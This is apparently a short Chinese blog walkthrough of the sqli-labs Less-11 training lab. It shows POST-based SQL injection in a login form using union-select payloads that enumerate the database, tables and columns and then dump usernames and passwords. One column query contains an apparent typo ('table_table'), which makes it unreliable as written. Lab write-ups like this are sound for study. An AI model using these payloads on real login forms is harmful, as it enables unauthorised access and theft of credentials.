sqli-labs(less-11)

sqli-labs专栏地址

目录

 less-11(POST注入)

1.send to Repeater

2.单引号报错

3. 查库名

4.查表名

5.查段名

6.查数据

7.用查到的数据Dumb登录 


 less-11(POST注入)

1.send to Repeater

sqli-labs(less-11)_第1张图片

2.单引号报错

sqli-labs(less-11)_第2张图片

3. 查库名

aadmin' union select user(),database()-- 

sqli-labs(less-11)_第3张图片

4.查表名

aadmin' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'--

sqli-labs(less-11)_第4张图片

5.查段名

aadmin' union select 1,group_concat(column_name) from information_schema.columns where table_table='users'--

sqli-labs(less-11)_第5张图片

6.查数据

aadmin' union select 1,group_concat(username,':',password) from users --

sqli-labs(less-11)_第6张图片

7.用查到的数据Dumb登录 

sqli-labs(less-11)_第7张图片

你可能感兴趣的:(sqli-labs,大数据,sql,web安全,数据库)